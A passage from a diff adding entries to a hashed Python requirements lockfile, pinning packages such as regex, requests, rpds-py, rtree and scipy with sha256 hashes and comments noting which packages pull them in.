--hash=sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f \ + --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b \ + --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be \ + --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c \ + --hash=sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3 \ + --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 \ + --hash=sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926 \ + --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0 + # via + # crawl4ai + # huggingface-hub +rank-bm25==0.2.2 \ + --hash=sha256:096ccef76f8188563419aaf384a02f0ea459503fdf77901378d4fd9d87e5e51d \ + --hash=sha256:7bd4a95571adadfc271746fa146a4bcfd89c0cf731e49c3d1ad863290adbe8ae + # via crawl4ai +referencing==0.37.0 \ + --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 \ + --hash=sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8 + # via + # jsonschema + # jsonschema-specifications +regex==2026.9.10 \ + --hash=sha256:030fa9e23624e39b3b94e46b90a5abd1a1678eb2f58fcdd3fd6c27526bf91c7e \ + --hash=sha256:032da15431c890d376f53547f0a6219f4f4cd19f3e4f11bdc321453b5bd207e4 \ + --hash=sha256:044bd4639b6bb409ec9e5d8b7accd57e02b4c4a4e2eafde916f8ae8006b3e40b \ + --hash=sha256:048a89ee797db10160bd2bd519286577a6b43a100279bd4b7d8456a3d69c80a0 \ + --hash=sha256:05fb018cfe7144585fc83882405906ff84994a2d154afc2509ecc7752c51f864 \ + --hash=sha256:07b45ba5c94b8fcb30cb6c56a11f715c57533a3017964504322ea52690a27b72 \ + --hash=sha256:0aa7589394230e0f0a422ab6b90841ff12c87e855e7aaf75d192a54a5f124548 \ + --hash=sha256:0acee94b480dd853e39434aa9a575f95385b1b4b8fa3feae56db363ca5cad782 \ + --hash=sha256:0b9ba3b2765cdfe18f0f561a69f78a69701f2896654a81c711108d35d14e5099 \ + --hash=sha256:0c32480f3371b75068decaf9e5da72c224e953830dd71e36e06cf80e30ea39d8 \ + --hash=sha256:1270cdec69248592bbe38a0b263ed58d907b891bd2b93703e225c317e421bda1 \ + --hash=sha256:13c52fc377792675f604a207a2ae5958c080f6854f7698d40d9ff034d95b1e76 \ + --hash=sha256:14caa05ce39ec70437af5aac8814c50ee6628f4a90353871c059692f448a164f \ + --hash=sha256:1562aabd9d4eb09bd88a62ad97ed06800094b529ac43419e43020b9cefec79b0 \ + --hash=sha256:175cf49ce7a994c88b8f15e3cb17cdb66a48ebb2d36de736b8205033db950f89 \ + --hash=sha256:1aa309ab7ba89a62d6cf70dbd38d4176440bce3c7001ab86256704cf4c18c6eb \ + --hash=sha256:1ad10a135fa0b4e4a462a61d07c6654d7518cfdb5cb8da08f9ff7d61384af1fe \ + --hash=sha256:1b891f77554bff991804cee24b78b40789f7d5993a24c7907bc7025fd2a70c8d \ + --hash=sha256:1e321e2c84f0e52c457f5ea5944f796d6e8e09cb99738ea98dcc1bfe402a128d \ + --hash=sha256:1e954e246466d5a1a78f563ce8364b5d7cb19e7adb0ccdec8f9c9610083187bc \ + --hash=sha256:1f0a8b4928823bc8b217a1ab7bf3d90598909dec9a70fbbfe9a52cc4eca55990 \ + --hash=sha256:1fbc8314436353e097c050e11b01a6c11433579437ed0579730157676ef59e2f \ + --hash=sha256:20e8bfb07ad79a282f8b95b56fe67f9750b1b7f775724e4ba1f23cb296115ce4 \ + --hash=sha256:217e98ba5fc8908ed8ffd4ebac04753a0c831067cbfb495b9821b94cc61eaa76 \ + --hash=sha256:239620b0e0681669367c0e218c8eb2551d9f8fe3b9fccfc8d0003377804e8348 \ + --hash=sha256:23ac9a28180f274d7dd7651fa131ad5b02d343b75df4b040737f0356223895dd \ + --hash=sha256:2479171edccced52ef02b899558f88ab2c235fe05b93180fdcae1670aacd89e1 \ + --hash=sha256:24d12a625a37c89c2b09303402a06942f55f071b95a7916a49c17034c3d47cd5 \ + --hash=sha256:2dd9286093c71afc8f55ef035c5b9d2776641fd72c6535f1febc92d0b0be9666 \ + --hash=sha256:2e67f8843f0e4b931f1fa860bf3bbe4134b714c0155cc5c7c0d7ea450230aae0 \ + --hash=sha256:31e4df2b11d48f61d511019bc1ee9b477055f17c352b68fe72db7a98b14d603c \ + --hash=sha256:3264132d576847ab5f88bb83e7debe67854bf165b3ea613bd467312b6099536a \ + --hash=sha256:3540734dbe241ebb3b87d5713781f6749a3e4d45480f506aa5fb5cbb0c37d249 \ + --hash=sha256:35ba3bab0c45079735f55ac61526774de1d84bc4a0333cc554e1a4ab74913924 \ + --hash=sha256:3a66e40a1a20de96a2fee00ed67e11012b62d85b277688258677fd19997addb7 \ + --hash=sha256:3bdeed3318a8eb2bbadc9c56347e0ff651639e934a47e168d05a3b12929fd0e7 \ + --hash=sha256:3fb4ae8cf83ef4e9addd43b2da31a9f45be816a8036fae8af59c8998b72718e2 \ + --hash=sha256:4971776b4f2bd7fd9a83eceb2cb2592cbe2924f639fe8045e6a9de5ba4bfcf25 \ + --hash=sha256:4a761ea45f2ad74c575ef5850ea514cef97302a552d3c7c9d1a1a870d4661d6c \ + --hash=sha256:4c66d54042a14a503907d81861b8a5235e6d1f03d4fbc1d8767f652eaf957ac1 \ + --hash=sha256:4db7d00c4afbfbb55b8e17b1e371da11418ea9389b030acec63c1fa4c7ad4b86 \ + --hash=sha256:4f0407474ffac8e5e89d93ca41d60891e29f0ab8423eb66ff292d850a86a0843 \ + --hash=sha256:53e182b6b04d0011909b47d51a2d72d908de07c7b1c7f16b3adda2204d723bc1 \ + --hash=sha256:5847e22bbf959764d776937d791d034cc2d19b787e361c88d97e859e8dc68502 \ + --hash=sha256:58c01f7b81079cf0817ba831ff4d9eff5d28be4a3ac76c353e6f09bd63f4c386 \ + --hash=sha256:58da726d3e766c0b3f5a3997dfaf0275898a1107b8191cdd6b0437fe45fd817d \ + --hash=sha256:5bef622850cf760154719d4e0d74b0a855962432995168e250069899ae12fe8f \ + --hash=sha256:5ccd139b2061132e7b265cfb4b4721baeb9f8928b81415304abf1ec7e3181c26 \ + --hash=sha256:5cef9f3d14796500ea834c41dbe688f1f6b23c7024dc23e8a794d7ebaf5d71d0 \ + --hash=sha256:63bb62cf62217dc38c8a6b2b61b165b0e4eb8fa93b0aba12139251c0986a8fa3 \ + --hash=sha256:681ed38664b64c6617d3c3c332018d1948c77e139c5ea667c1886efa671e426f \ + --hash=sha256:6888065672b341e5246f391ec16dc258a29218ac784172fd67c30d941544755b \ + --hash=sha256:6aebdd9a946de328b3f6f61dbf48dd064a36eb6dddf96e34ae6651d37f6e9383 \ + --hash=sha256:6afcad14310f1311d077553ed374b42a5e538f85a8c884b4e38e52de091c8077 \ + --hash=sha256:6b34a778c695d24e77c140e3b4c95da69282e34f2f6b02b55656aa4a0379f643 \ + --hash=sha256:6fd555fc9abef50c530869690b2daca054c8811a7aff632d11f9a7b2590b2742 \ + --hash=sha256:71879292c9c7ac67b1680345b16daba1be937cb027362cfa04e68f65db2dcfdd \ + --hash=sha256:75242f44a3e283106077be4ab717bc535e4701c9d54ad69e195945c22f137a1d \ + --hash=sha256:75aa39d3f4f1650eea84e46b0d8cefe77dd5478c10e3d0aaf0b0f00493475a7a \ + --hash=sha256:75f9297b16fcb588a1f8d8a55dabef3c0c20b0c7bac43c87ceaaaf1a825c12f4 \ + --hash=sha256:79e9432995e14c749d34209413de5e621ec8e67789bf4f46dbfabea9d06a2406 \ + --hash=sha256:7abb38b8c40f3a235235a44da452c64b7b5c1d650ec6351027db0e090804f2e5 \ + --hash=sha256:7dcad477c49c4c626a6c4fcd71b39a971aa217060cc40a6569fd24edcc0fa509 \ + --hash=sha256:7e6c0b5ec6ddee4032247585dc491b0fa58627745b66a705728703a3f0331231 \ + --hash=sha256:7f8f10015866608fe4c043cec2e4fe4c39a94bb50e45091de4cdf4004b9ae4b0 \ + --hash=sha256:866de9f98df0611d7b62b3a8729d3284a64c0cc6edd90bb95a533e443a4939cb \ + --hash=sha256:87f5f75c109f08f5c602d68e1af54cead8165189c727b6ac946b30b9833a3ba4 \ + --hash=sha256:880ac684c27176464c00c3fdc456116364f5ebc70da07aad0c2d4a7ba45e98db \ + --hash=sha256:88b02aa8d0ec9b6189fe933d425775882271c23700ac11fd26d1779b0f56fde3 \ + --hash=sha256:8ba1f78bd4fef2d8f84b894ec28ac3481afe6cc07aaa253ad4717ef7b3fe6bcb \ + --hash=sha256:8c07021a4faa3f092869adbd1f35cdc7a592276c807aeebc3ceb8ff1a638f0b4 \ + --hash=sha256:8d5c4518235a2ec1611e57af85fa488d529c1106aacff12adadcedf8687012cd \ + --hash=sha256:8e127d9a80cbf1c3276bb465c6d047e8705e97b58c2b8f2f0c0a69c336b44b37 \ + --hash=sha256:94c5ce3bc41d226b4eb89ca3f842b2e28c031487fb1f34eb2153d98235831325 \ + --hash=sha256:94d096369b7cd96d15343fef5257fe39eff9d0e8758b92a0e15e358b92cdb2fc \ + --hash=sha256:968c1e33edd9a104d1bf24c8d476c72de7e3839ae7f894b37e9e4f4739fdeeca \ + --hash=sha256:990797e765d89a423880052c68b61c31afe701de94a8c060f61c40605ca6c727 \ + --hash=sha256:9ce239acb15843ab03976626af810a4424b0409689ec2bbc52088ab5479ab487 \ + --hash=sha256:9d772586951d7d6a5d162d48f414065e483b1c81ab38fd8ed97c78b05883421a \ + --hash=sha256:9fbd2e5d8002dc49a6129fb321ec51c57a025e752ed525ddce0ba9223c4350a7 \ + --hash=sha256:a41693eb3fc4b92e6127d113813c6c395237f7edd3224abf67609af48c690d11 \ + --hash=sha256:abbfc1c33bf8efddcc43844aba61e036d74a918680dc3ce8ce2538b004eda0f9 \ + --hash=sha256:b298cdc33c5cc6969ff07f0fba19cc73e0fd8576373c50935feadaca2f6b4405 \ + --hash=sha256:b43456de605c8ee77eb75f07bc1ee44ba27f9cee22207deb77d495e954b7d953 \ + --hash=sha256:b71649169a9fcf30b395ee01047fa7ad6654a4c900ca75b23c04dedcce6a1f8c \ + --hash=sha256:b91c37551bf39d75116c02b146956f65b9aa0337a4a652f4ae186983789d4001 \ + --hash=sha256:b9d36b03dc362aa40ffaaec9d9bd75e87763529563ec008c43b0e07782f5be7a \ + --hash=sha256:bafa41b0dd63669e5c0f8adf3d24819efeb73c847f492eb011212eb352e69041 \ + --hash=sha256:bb7774924f8cd69f49cba0b3c2d679a6326f777e0e67d130ad5203e4df53f0d3 \ + --hash=sha256:bf29611e5376fec8f795879bb5c6153a76c3a292573d173c26784042b01eb840 \ + --hash=sha256:c014641157e9049b0603b8daa5343bd408d9b757b709aaa0f373cd3fab2d7944 \ + --hash=sha256:c103b3b14e011774af4fb7e4617ad4d72b9171905cd3b231a70a4efd76e477d7 \ + --hash=sha256:c22df8dd6373bbe3898e77429ffc85594300e39d752fd0e68a31e59d37899376 \ + --hash=sha256:c25a754bb81a2edcfc3b65eda50f017d736f818112ed43e8aafd595cb00678ae \ + --hash=sha256:c32818b28bcd153b25b63038348a9fe9b9fbcddb60df43f204c3ab55eeb57f77 \ + --hash=sha256:c37fa93bf18bf4f90b01c0fa9f11ea567ee4b7dd8bf96e63663e5edc37aa38cf \ + --hash=sha256:c3d95d7d9538b5b726dd6fcd7b6117a71e6565202f6d64f5845fb4d8f203f533 \ + --hash=sha256:c8fbd9cb30c68c1686b94029b9ef845d5870d3d65baf66cb126b676849b9d72b \ + --hash=sha256:cb76a9c4e07a6a47849726af0ed14c41741a182f097f134a8cf29c1bc0f4dde8 \ + --hash=sha256:ce7c118cb102975f974585688357a717ffbf9dddd64ab0bb1bc93eb5b367cf95 \ + --hash=sha256:cf377960d2ac37d987394a9dbaa75e91338c41a46d41e1d25e90125e7b3ee2dc \ + --hash=sha256:d278ad30ec83b6b9202685b0f80b741a51ea3ca7f0595ebda96e7628b6398876 \ + --hash=sha256:d2d377fd1cad611b806cdd732d86b65f536c768209890cb442556548daa65a23 \ + --hash=sha256:d414c411c06fe0009eac33488fb1591c66b5c2673e342e452e7bb2fe63da8194 \ + --hash=sha256:d8c668af8f7bdb1d18739c27d30cd9f4b371495a883f75a002fb7a39d740fecd \ + --hash=sha256:dce932f8e3ba936475ea3d0d8b59f7b050a9e206e994f53f8fd80299871e87da \ + --hash=sha256:debc629e98b95abaea1cf3057ca296151f348c697c9b8a59d18013adb302c0dd \ + --hash=sha256:e0dc78251154b66dc60211563fc115345da332eaa881e4e2523fb1edae3772f4 \ + --hash=sha256:e5e4a6e0734a685d13b9685622bb503bdbb2927f8b0df025a5085f0ea067475b \ + --hash=sha256:e6b99181d184d0f5c7b36b8d12b94d1e9499cce6246594331f9edc5d2ea9fceb \ + --hash=sha256:e7327795089ddb44912dce1434e1d7244be2e9fb48fcc2d6782936af7a3062db \ + --hash=sha256:ebb2ba68e4641a994061f70bf44ed448fba0b9b1d18c94ffb9efc1cca805b39b \ + --hash=sha256:ec8855f08c17895a26fbf5f19ed829722e19b34a96629e49a43c92974924026b \ + --hash=sha256:ecb2e7acb18f8cc4a67f0ad986c0af291ea4dd385d0614ba9bc09d7f8bbb478c \ + --hash=sha256:ef4c0a9dfdc90581b90b1b95a8c3d1557f8ff8f5a2a53536d26314de699d1468 \ + --hash=sha256:ef4ce69ff97fbb44b46751cfea5e859ad0b66d1a50abf34954f0645f51e81671 \ + --hash=sha256:ef5a059ea1c6ee5d1c7e99a2484e628608d010921efe876c6f0e2029d2f35eca \ + --hash=sha256:f0e2e5d23448b660d60a6ed85c46cc03b4b48bd276b8f4041d4a5fe2a4a0626b \ + --hash=sha256:f2374c27deb189b282ec7e16106752c22ad39b056bbd8018960b1e4cc95d67a1 \ + --hash=sha256:f2f43bf4e47ff7ce9e585558706d698c6204d0f80bf2207766382ed817c8e9f4 \ + --hash=sha256:f5c629df03adec31ee505dda3c8988f106c9390e4cbd343600036eb8b3d6724f \ + --hash=sha256:f70b9f0e39c2dba1d9da6bf7ef7c377cad7277f8440e9a69be05ede529ff024c \ + --hash=sha256:f7d4656e17ab736e9415a6442a345bfc97bb8b7dcce47884bb74a37f70f08d0c \ + --hash=sha256:f8bdec659a8fa7af51a32b224b3b7c02bc415d54ffd35187b1d224176b17d607 \ + --hash=sha256:faa911fbbcf8ac90bda0e0657d60768e3390954ef0588211d63a22add1cb1cd1 \ + --hash=sha256:fbc4e2f3cb7ce8436154e6483079e7d35eeb321a952fa936e180300630d8b873 \ + --hash=sha256:fd6bd89b9fc06018d35851cab0240adb7dd84d51941b19f6574ac90cd54e3ae5 \ + --hash=sha256:ff4d7b14ea19e50c8d9d6d83f45bd9b45cbb624c07ac1fa54db0a019049abed7 \ + --hash=sha256:ff6b3267318661dfddf6b3628663e00e5946bd0a5c8fa678537a1401f0388f91 \ + --hash=sha256:ffc2da104e43db716ce30cef9f28049a1faa6aca385dd8771b033268d0730b07 + # via + # nltk + # tiktoken +requests==2.34.2 \ + --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 \ + --hash=sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed + # via + # crawl4ai + # tiktoken +rich==15.0.0 \ + --hash=sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb \ + --hash=sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36 + # via crawl4ai +rpds-py==2026.6.3 \ + --hash=sha256:0be972be84cfcaf46c8c6edf690ca0f154ac17babf1f6a955a51579b34ad2dc5 \ + --hash=sha256:127565fead0a10943b282957bd5447804ff3160ad79f2ad2635e6d249e380680 \ + --hash=sha256:127e08c0642d880cf32ca47ec2a4a77b901f7e2dd1ad9762adb13955d72ffcc9 \ + --hash=sha256:166cf54d9f44fc6ceb53c7860258dde44a81406646de79f8ed3234fca3b6e538 \ + --hash=sha256:168c733a7112e071bb7a66460e667edfcff06c017a3c523f7a8a8e08d0140804 \ + --hash=sha256:1967debc37f64f2c4dc90a7f563aec558b471966e12adcac4e1c4240496b6ebf \ + --hash=sha256:1cebd1337c242e4ec2293e541f712b2da849b29f48f0c293684b71c0632625d4 \ + --hash=sha256:1cf01971c4f2c5553b772a542e4aaf191789cd331bc2cd4ff0e6e65ba49e1e97 \ + --hash=sha256:1e5822dfc2f0d4ab7e745eaa6d85945069329beeccef965af3f3bb26058fcab6 \ + --hash=sha256:22bffe6042b9bcb0822bcd1955ec00e245daf17b4344e4ed8e9551b976b63e96 \ + --hash=sha256:23a439f31ccbeff1574e24889128821d1f7917470e830cf6544dced1c662262a \ + --hash=sha256:24e9c5386e16669b674a69c156c8eeefcb578f3b3397b713b08e6d60f3c7b187 \ + --hash=sha256:270b293dae9058fc9fcedab50f13cebf46fb8ed1d1d54e0521a9da5d6b211975 \ + --hash=sha256:29dfa0533a5d4c94d4dfa1b694fcb56c9c63aad8330ffdd816fd225d0a7a162f \ + --hash=sha256:2a9c6f195058cb45335e8cc3802745c603d716eb96bc9625950c1aac71c0c703 \ + --hash=sha256:2bfd04c19ddbd6640de0b51894d764bd2758854d5b75bd102d2ef10cb9c293a9 \ + --hash=sha256:2c54a076ca4d370980ab57bc0e31df57bbe8d41340436a90ef8b1219a3cbb127 \ + --hash=sha256:2c958bf94822e9290a40aaf2a822d4bc5c88099093e3948ad6c571eca9272e5f \ + --hash=sha256:2c99f7e8ccb3dd6e3e4bfeac657a7b208c9bac8075f4b078c02d7404c34107fa \ + --hash=sha256:2f7c26fbc5acd2522b95d4177fe4710ffd8e9b20529e703ffbf8db4d93903f05 \ + --hash=sha256:30c6dc199b24a5e3e81d50da0f00858c5bbdb2617a750395687f4339c5818171 \ + --hash=sha256:38a2fea2787428f811719ceb9114cb78964a3138838320c29ac39526c79c16ba \ + --hash=sha256:3a83ae6c67b7676b9878378547ca8e93ed77a580037bcbcd1d32f739e1e6089c \ + --hash=sha256:3cfe765c1da0072636ca06628261e0ea05688e160d5c8a03e0217c3854037223 \ + --hash=sha256:421aba32367055614287a4292b6a17f1939c9452299f7a0209c117e990b646d4 \ + --hash=sha256:425560c6fa0415f27261727bb20bd097568485e5eb0c121f1949417d1c516885 \ + --hash=sha256:4470ce197d4090875cf6affbf1f853338387428df97c4fb7b7106317b8214698 \ + --hash=sha256:4cf2d36a2357e4d07bb5a4f98801265327b48256867816cfd2ceb001e9754a8f \ + --hash=sha256:4f4bca01b63096f606e095734dd56e74e175f94cfbf24ff3d63281cec61f7bb7 \ + --hash=sha256:501f9f04a588d6a09179368c57071301445191767c64e4b52a6aa9871f1ef5ed \ + --hash=sha256:536bceea4fa4acf7e1c61da2b5786304367c816c8895be71b8f537c480b0ea1f \ + --hash=sha256:538949e262e46caa31ac01bdb3c1e8f642622922cacbabbae6a8445d9dc33eaf \ + --hash=sha256:539d75de9e0d536c84ff18dfeb805398e58227001ce09231a26a08b9aed1ee0e \ + --hash=sha256:54f45a148e28767bf343d33a684693c70e451c6f4c0e9904709a723fafbdfc1f \ + --hash=sha256:55927d532399c2c646100ff7feb48eaa940ad70f42cd68e1328f3ded9f81ca24 \ + --hash=sha256:58eadac9cd119677b60e1cf8ac4052f35949d71b8a9e5556efccbe82533cf22a \ + --hash=sha256:5e8d07bddee435a2ff6f1920e18feff28d0bc4533e42f4bf6927fbd073312c41 \ + --hash=sha256:62698275682bf121181861295c9181e789030a2d516071f5b8f3c23c170cd0fc \ + --hash=sha256:639c8929aa0afe81be836b04de888460d6bed38b9c54cfc18da8f6bfabf5af5d \ + --hash=sha256:67e3a721ffc5d8d2210d3671872298c4a84e4b8035cfe42ffd7cde35d772b146 \ + --hash=sha256:6de4744d05bd1aa1be4ed7ea1189e3979196808008113bbbf899a460966b925e \ + --hash=sha256:6e84adbcf4bf841aed8116a8264b9f50b4cb3e7bd89b516122e616ac56ca269e \ + --hash=sha256:7491ee23305ac3eb59e492b6945881f5cd77a6f731061a3f25b77fd40f9e99a4 \ + --hash=sha256:79486287de1730dbaff3dbd124d0ca4d2ef7f9d29bf2544f1f93c09b5bcbbd12 \ + --hash=sha256:7b689145a1485c335569bd056464f3243a29af7ed3871c7be31ad624ba239bc7 \ + --hash=sha256:7f88d653e7b3b779d71ae7454e20dcc9b6bae903f33c269db9f2be41bda3f261 \ + --hash=sha256:8020133a74bd81b4572dd8e4be028a6b1ebcd70e6726edc3918008c08bee6ee6 \ + --hash=sha256:808345f53cb952433ca2816f1604ff3515608a81784954f38d4452acfe8e61d5 \ + --hash=sha256:83e35b57523816c8613fd0776b40cd8bb9f596b37ddd2692eb4a6bb5ab2f8c93 \ + --hash=sha256:842e7b070435622248c7a2c44ae53fa1440e073cc3023bc919fed570884097a7 \ + --hash=sha256:847927daf4cffbd4e90e42bc890069897101edd015f956cb8721b3473372edda \ + --hash=sha256:882076c00c0a608b131187055ddc5ae29f2e7eaf870d6168980420d58528a5c8 \ + --hash=sha256:8b95977e7211527ab0ba576e286d023389fbeeb32a6b7b771665d333c60e5342 \ + --hash=sha256:8bb68f03f395eb793220b45c097bd4d8c32944393da0fad8b999efac0868fc8c \ + --hash=sha256:8c2642a7603ec0b16ed77da4555db3b4b472341904873788327c0b0d7b95f1bb \ + --hash=sha256:8c3d1e9c15b9d51ca0391e13da1a25a0a4df3c58a37c9dc368e0736cf7f69df0 \ + --hash=sha256:8c6e5a2f750cc71c3e3b11d71661f21d6f9bc6cebc6564b1466417a1ec03ec77 \ + --hash=sha256:8d2294a31386bfa251d8c8a39472beee17db67d4f1a6eabea665d35c9a4461c3 \ + --hash=sha256:8e4320744c1ffdd95a603def63344bfab2d33edeab301c5007e7de9f9f5b3885 \ + --hash=sha256:8e65860d238379ed982fd9ba690579b5e95af2f4840f99c772816dbe573cb826 \ + --hash=sha256:8f2e5c5ee828d42cb11760761c0af6507927bec42d0ad5458f97c9203b054617 \ + --hash=sha256:900a67df3fd1660b035a4761c4ce73c382ea6b35f90f9863c36c6fd8bf8b09bb \ + --hash=sha256:913ca42ccad3f8cc6e292b587ae8ae49c8c823e5dce51a736252fc7c7cdfa577 \ + --hash=sha256:9250a9a0a6fd4648b3f868da8d91a4c52b5811a62df58e753d50ae4454a36f80 \ + --hash=sha256:931908d9fc855d8f74783377822be318edb6dcb19e47169dc038f9a1bf60b06e \ + --hash=sha256:9826217f048f620d9a712672818bf231442c1b35d96b227a07eabd11b4bb6945 \ + --hash=sha256:9891e594296ab9dada6551c8e7b387b2721f27a67eecd528412e8906247a7b90 \ + --hash=sha256:9c1255b302953c86a486b81d330d5ee1d5bd937691ce271b6be0ef0e299eaab7 \ + --hash=sha256:a0811d33247c3d6128a3001d763f2aa056bb3425204335400ac54f89eec3a0d0 \ + --hash=sha256:a136d453475ac0fcbda502ef1e6504bd28d6d904700915d278deeab0d00fe140 \ + --hash=sha256:a214c993455f99a89aaeadc9b21241900037adc9d97203e374d75513c5911822 \ + --hash=sha256:a3086b538543802f84c843911242db20447de00d8752dd0efc936dbcf02218ba \ + --hash=sha256:a3450b693fde92133e9f51060568a4c31fcca76d5e53bbd611e689ca446517e9 \ + --hash=sha256:a550fb4950a06dde3beb4721f5ad4b25bf4513784665b0a8522c792e2bd822a4 \ + --hash=sha256:a9f4645593036b81bbdb36b9c8e0ea0d1c3fee968c4d59db0344c14087ef143a \ + --hash=sha256:aca6c1ef08a82bfe327cc156da694660f599923e2e6665b6d81c9c2d0ac9ffc8 \ + --hash=sha256:acac386b453c2516111b50985d60ce46e7fadb5ea71ae7b25f4c946935bf27cf \ + --hash=sha256:acc992ab27b15f852c76755eb2ab7dce86585ddadba6fa5946e58556088845b4 \ + --hash=sha256:ae3d4fe8c0b9213624fdce7279d70e3b148b682ca20719ebd193a23ebfa47324 \ + --hash=sha256:ae50181a047c871561212bb97f7932a2d45fb53e947bd9b57ebad85b529cbc53 \ + --hash=sha256:ae6dd8f10bd17aad820876d24caec9efdafd80a318d16c0a48edb5e136902c6b \ + --hash=sha256:af05d726809bff6b141be124d4c7ce998f9c9c7f30edb1f46c07aa103d540b41 \ + --hash=sha256:afd70d95892096cdb26f15a00c45907b17817577aa8d1c76b2dcc2788391f9e9 \ + --hash=sha256:b5c2dc92304aa48a4a60443b548bb12f12e119d4b72f314015e67b9e1be97fca \ + --hash=sha256:bc0011654b91cc4fb2ae701bec0a0ba1e552c0714247fa7af6c59e0ccfa3a4e1 \ + --hash=sha256:bcfbcf66006befb9fd2aeaa9e01feaf881b4dc330a02ba07d2322b1c11be7b5d \ + --hash=sha256:bdbd97738551fca3917c1bd7188bec1920bb520104f28e7e1007f9ceb17b7690 \ + --hash=sha256:c60924535c75f1566b6eb75b5c31a48a43fef04fa2d0d201acbad8a9969c6107 \ + --hash=sha256:c7b9a2f8f4d8e90af72571d3d495deebdd7e3c75451f5b41719aee166e940fc2 \ + --hash=sha256:ca6546b66be9dc4738b1b043d5ebd5488c66c578c5ff0fd0e8065313fe3afb76 \ + --hash=sha256:ccffae9a092a00deb7efd545fe5e2c33c33b88e7c054337e9a74c179347d0b7d \ + --hash=sha256:cdc7e35386f3847df728fbcb5e887e2d79c19e2fa1eba9e51b6621d23e3243af \ + --hash=sha256:d15fde0e6fb0d88a60d221204873743e5d9f0b7d29165e62cd86d0413ad74ba6 \ + --hash=sha256:d34c20167764fbcf927194d532dd7e0c56772f0a5f943fa5ef9e9afbba8fb9db \ + --hash=sha256:d483fe17f01ad64b7bf7cc38fcefff1ca9fb83f8c2b2542b68f97ffe0611b369 \ + --hash=sha256:d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd \ + --hash=sha256:db08f45aecde626498fb3df07bcf6d2ec040af42e859a4f5040d79c200342911 \ + --hash=sha256:dc319e5a1de4b6913aac94bf6a2f9e847371e0a140a43dd4991db1a09bc2d504 \ + --hash=sha256:de3eceba0b683bcbb1ab93da016d0270df1f9ae7be716b40214c5dafac6ea45a \ + --hash=sha256:dfcc8b909769d19db55c7cc9541eb64b9b774b1057ffffb4f1048070475bb9f9 \ + --hash=sha256:e059c5dde6452b44424bd1834557556c226b57781dee1227af23518459722b13 \ + --hash=sha256:e4316bf32babbed84e691e352faf967ce2f0f024174a8643c37c94a1080374fc \ + --hash=sha256:e52655eaf81e32593abedaa4bfe33170c8cfedf3365ed9be6e11e07f148f0278 \ + --hash=sha256:e55d236be29255554da47abe5c577637db7c24a02b8b46f0ca9524c855801868 \ + --hash=sha256:ea7bb13b7c9a29791f87a0387ba7d3ad3a6d783d827e4d3f27b40a0ff44495e2 \ + --hash=sha256:ea964164cc9afa72d4d9b23cc28dafae93693c0a53e0b42acbff15b22c3f9ddd \ + --hash=sha256:ec829541c45bca16e61c7ae50c20501f213605beb75d1aba91a6ee37fbbb56a4 \ + --hash=sha256:ecabd69db66de867690f9797f2f8fa27ba501bbc24540cbdbdc649cd15888ba6 \ + --hash=sha256:ed0c1e5d10cdc7135537988c74a0188da68e2f3c30813ba3744ab1e42e0480f9 \ + --hash=sha256:f0840b5b17057f7fd918b76183a4b5a0635f43e14eb2ce60dce1d4ee4707ea00 \ + --hash=sha256:f4d78253f6996be4901669ad25319f842f740eccf4d58e3c7f3dd39e6dde1d8f \ + --hash=sha256:f56f1695bc5c0871cbc33dc0130fcf503aab0c57dcc5a6700a4f49eba4f2652e \ + --hash=sha256:f826877d462181e5eb1c26a0026b8d0cab05d99844ecb6d8bf3627a2ca0c0442 \ + --hash=sha256:f8f23ead891a3b762f35ab3b04623da7056545b48aa60d59957e6789914545da \ + --hash=sha256:f90938e92afda60266da758ee7d363447f7f0138c9559f9e1811629580582d90 \ + --hash=sha256:faa679d19a6696fd54259ad321251ad77a13e70e03dd834daa762a44fb6196ef + # via + # jsonschema + # referencing +rtree==1.4.1 \ + --hash=sha256:12de4578f1b3381a93a655846900be4e3d5f4cd5e306b8b00aa77c1121dc7e8c \ + --hash=sha256:3d46f55729b28138e897ffef32f7ce93ac335cb67f9120125ad3742a220800f0 \ + --hash=sha256:a7e48d805e12011c2cf739a29d6a60ae852fb1de9fc84220bbcef67e6e595d7d \ + --hash=sha256:b558edda52eca3e6d1ee629042192c65e6b7f2c150d6d6cd207ce82f85be3967 \ + --hash=sha256:c6b1b3550881e57ebe530cc6cffefc87cd9bf49c30b37b894065a9f810875e46 \ + --hash=sha256:d672184298527522d4914d8ae53bf76982b86ca420b0acde9298a7a87d81d4a4 \ + --hash=sha256:efa8c4496e31e9ad58ff6c7df89abceac7022d906cb64a3e18e4fceae6b77f65 \ + --hash=sha256:efe125f416fd27150197ab8521158662943a40f87acab8028a1aac4ad667a489 \ + --hash=sha256:f155bc8d6bac9dcd383481dee8c130947a4866db1d16cb6dff442329a038a0dc + # via alphashape +scipy==1.18.1 \ + --hash=sha256:011413b7426b75012840e35649e00fe0a2c3bae89fed433876e3a99251572efc \ + --hash=sha256:0ac49ea97594532dd44b7136094d35f5440fa06e6d9c6384a74c01764df388c5 \ + --hash=sha256:0e82073ecc7acc6436fac4b31674109c7e1d3e596789767eda01258a8c9e8123 \ + --hash=sha256:0fcb3c93519f27bb4f0c4b0f7802cdcaca7fcf93267b75edda2e9f4e8a55cbd7 \ + --hash=sha256:10ac20c69d880f77f375db44c22e3e6a644f9fefa291d4cd2fb9790a89fc99fd \ + --hash=sha256:11c423f1049c5755ad4409af52a9ada1cff96fe9b50795d4af3619f292901239 \ + 